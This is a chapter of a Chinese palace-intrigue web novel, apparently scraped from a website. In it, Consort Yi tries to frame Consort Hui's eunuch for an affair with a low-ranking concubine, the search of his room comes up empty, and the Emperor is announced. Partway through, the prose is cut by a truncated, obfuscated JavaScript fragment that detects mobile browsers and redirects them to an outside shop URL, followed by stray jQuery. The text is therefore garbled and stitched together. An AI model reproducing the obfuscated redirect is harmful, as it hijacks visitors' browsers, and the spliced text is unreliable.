直房里一个太监被吵醒,张嘴便骂:“奶奶的,小□□崽子动作轻点!赶着投胎啊?” 另一个则是幸灾乐祸道:“行了,小喜子这是刚伺候完王公公,难免身上不爽利。” 骂人的太监停了嘴,也阴阴笑起来。 小喜子全当没听见,袖中的钥匙被薛让撞掉,他蹲下身到处找,很快便从薛让腿下找到。 “得,你瞧着比我的酒量还差,赶紧回吧。”小喜子跟薛让道了别,晃晃悠悠关上房门。 月色正好,薛让拍拍身上的灰从地上站起来,哪还有半分醉意? 他手里握着一块软蜡,上头清晰印着两枚钥匙的形状,一个是小喜子直房里的,另一个便是小喜子他干爹王公公住的直房。 * 两日后,宜妃娘娘来到咸福宫探望病对外称病的惠妃。 她带着徐昭仪一同来的。徐昭仪也算宫中的老人儿了,在王府时就侍奉陛下,之后生了四皇子。但四皇子因为早产体弱,不到一岁便夭折了。 可巧长庆公主也在,便和徐昭仪坐在下首,惠妃和宜妃则一同坐在罗汉床的上首。 壁上挂着一幅牡丹图,案几摆放着糕点与茶水,炭盆和熏笼不断散发出暖意。 和宜妃的毓秀宫比起来,咸福宫近来的确称得上冷清,请安问好的妃嫔也少了许多。 “瞧瞧,三公主出落的愈发好了,真是光彩照人。本宫看在眼里都觉得亮堂,姐姐真是好福气!”宜妃的视线扫过元歌,对惠妃说着,声音温婉。 “八皇子活泼机灵,也是个好孩子。”惠妃淡淡道。 “临近年末,宫里事务多,妹妹便没有及早来看姐姐,还望姐姐原谅则个。”宜妃神情诚恳。 她年近三十,比新入宫的小嫔妃们年长,却很有一股精气神,头上顶着金丝八宝攒珠髻,眼角噙着一丝媚。一身淡紫底子的百蝶穿花小袄,露出的手指戴着碧玺戒指,下头是青灰马面裙,娉婷坐着,自有一番风韵。 惠妃和宜妃有一搭没一搭客套闲聊着,元歌时不时说上几句。只有徐昭仪在一旁,除了行礼问好,几乎没说过别的,只是顺着她们的话点头。 元歌知道徐昭仪在宫里算是个事少的,便给她递了杯茶水和点心。 直到惠妃脸上显出倦意,宜妃这才将话引入正题,她低声说:“不知姐姐是否听闻,昨晚卫选侍和一个太监私通被人撞见,那太监溜得极快,只剩卫选侍被抓了现行。” “哦?还有此事?”惠妃问道。 徐昭仪面色平静,似乎也已知道。 “是啊,这种事实在上不得台面!陛下若是知晓也要动气。妹妹便寻思,先把那僭越的狗奴才也抓了,之后在一并交给陛下处置。”宜妃眼中满是担忧,“可是那太监还没找到,便只能先将卫选侍关在宫正司。她也是个嘴硬的,本宫不得已才叫人上了拶刑,还是撬不开她的嘴。实在没法子了,才找到姐姐这儿。” “如今你执掌后宫大小琐事,自行决定便可。”惠妃眼皮也没抬。 “妹妹知道姐姐向来是个秉公执法的,从前同姐姐协理六宫学到不少。如今……”宜妃欲言又止,倒显得为难起来。 惠妃终于抬眼:“有何事不妨直说。” 徐昭仪将头低着,她是被宜妃拉来做个见证人的,心里实际很不想搅和进来。 “姐姐听了可别生气。”宜妃带着歉意地笑笑,话语里却没有丝毫歉意:“昨夜看见的宫人说,那太监似乎像是姐姐宫里的刘青。” 刘青是咸福宫里的近侍太监,模样不错,平日里干活也勤勤恳恳。 惠妃眉毛跳了跳:“宜妃娘娘此话可有凭证?” “也是宫人在宫正司的供词,妹妹想着不如来问一问姐姐,若是有什么误会就不好了。”宜妃回道。 惠妃召来郑嬷嬷,问起昨夜刘青是否当值。 “回娘娘,昨夜刘青是该当差的,可他昨日并不在殿中,也不知去哪儿了。”郑嬷嬷想了想,说道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481308|201754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “此人的确可疑,姐姐莫怪妹妹无礼,合该让人去刘青房里搜查一遍,若是真的无辜,自然什么也搜不出来。”宜妃转着手上的戒指,眼尾上扬。 元歌脸色一变。 惠妃放下手中的茶盏,皱眉道:“这儿是咸福宫,不是什么阿猫阿狗都能乱翻一通的。” 看见她们如此反应,宜妃神态更加放松。 “是啊,寻常太监不行,本宫这回带了几个可信的侍卫。娘娘要是不放心,害怕有人趁机动手脚,大可以叫郑嬷嬷跟着。”宜妃步步紧逼,“还是说,姐姐不信宫正司,要将此事呈到陛下面前定夺?” 话都说到这般地步,惠妃只得答应下来。 郑嬷嬷跟随侍卫前去太监住处,殿里又安静下来。 “姐姐就算暂时失了势,宫里却还有顾渚山紫笋这样的好茶,实在叫人羡慕。”宜妃不紧不慢为惠妃沏了一壶茶,倒出一杯敬惠妃。 杯中茶芽微紫,茶香甘冽。 “入宫这么多年,本宫是极为佩服惠妃姐姐的。奈何事不由人,姐姐宫里的人犯了大错,还望姐姐不要包庇。莫要再出了周大人那种事,连累了姐姐。”宜妃笑着说。 她前些日子就知晓卫选侍与人私通一事,却没有声张,和卫选侍偷情的是谁本来就不重要。 重要的是,这个人是哪个宫里的,此事捅出来后能带来什么好处? 宜妃思来想去,还是将这个罪名送给咸福宫最合适。便命人用计拿来卫选侍亲手绣的东西,悄悄放进刘青的卧房里面。 惠妃如今势弱,再扣上宫人私通嫔妃的罪名,就能彻底将惠妃打压下去,再也无法出头。 哪怕她有两个孩子,但只要皇帝踏入咸福宫,便会想起与卫选侍私通的太监,试问惠妃又怎能复宠? 宜妃端着茶水,姿态放的很低,眼神却很傲。 “宜妃娘娘出身尚仪局,如今能认识顾渚山紫笋已是难得,不必羡慕旁人。”惠妃道。 宜妃最忌别人拿出身说她,惠妃却偏偏要放到明面来说。徐昭仪将头垂的更低了。 元歌却感到意外,她很少见到母妃这样锋利的时候。印象里的母妃总是耳根子软,听信娘家的话。 宜妃盯着惠妃半晌:“姐姐还是这样……嘴上不饶人啊。” 转而她又倒了杯茶,跳过徐昭仪,亲自端给下首的元歌。 “三公主也莫要再跟本宫闹别扭了,当年你在坤宁宫最喜欢和本宫玩踢毽子了。如今你同本宫生疏许多,本宫心里也不好受。”宜妃又换上一副和善面孔,回忆道。 元歌在孝安皇后的坤宁宫住着的时候,宜妃正是皇后拨给她的贴身宫女。 然而元歌并未有宜妃预料中的失态发火,只是笑着接过了茶水,答应得很干脆:“好啊。” 这下宜妃也不知该如何接话了。 “公主还是懂事的。”她随口说道,心里却生出怪异的感觉。 姜元歌通常见了她就剑拔弩张不肯让步,何时这样听话过?指不定憋着什么坏心思。 宜妃不由多看了元歌几眼,想起对方小时候无法无天的样子,戴着个金兔子项圈满宫里乱跑,她找都找不见。 就在此时,郑嬷嬷和侍卫回来了。 侍卫的头磕在地上:“启禀娘娘、公主,刘青的直房里……什么也没有发现。” 说罢,便再也没敢抬起头。 郑嬷嬷走上前,对惠妃道:“娘娘,老奴盯着他们翻遍了整个屋子,连花瓶都摔碎了查探里头有无藏匿东西,的确没有任何可疑之处。” 饶是宜妃再镇定,闻言也惊诧地抬起脸,再次询问侍卫:“你当真仔细搜查了一遍,没有遗漏?” 侍卫的回答还是一样。 “啊,我想起来了。”元歌忽然开口,凑到惠妃旁边说:“刘青的木工活做的好,昨日被儿臣叫去含章殿做柜子了。” “你这孩子,方才也不跟本宫说一声。”惠妃敲了她的额头一下,又转头看向宜妃,平和地说:“原是这样,倒让宜妃娘娘误会了。” “今日实在叨扰惠妃姐姐,妹妹心里愧疚得很。”宜妃反应也很快,眼圈就这么红了,“想来是那宫人眼睛不好使,这才错认了,竟惹出这样大的误会,实在该死。本宫一定要亲去宫正司一趟,看看他们是怎么审的案子!” “妹妹也是查案心切,没了姐姐与我一同掌管六宫事宜,看顾着我办事,难免有疏漏。所幸还未冤枉无辜,妹妹给姐姐赔罪了。”宜妃从罗汉床走下来,对着惠妃福了福身子,行了一礼。 元歌看在眼里,知道宜妃此人能屈能伸能装可怜,这是打算大事化小。 然而殿外又响起一道通报声: “皇上驾到——”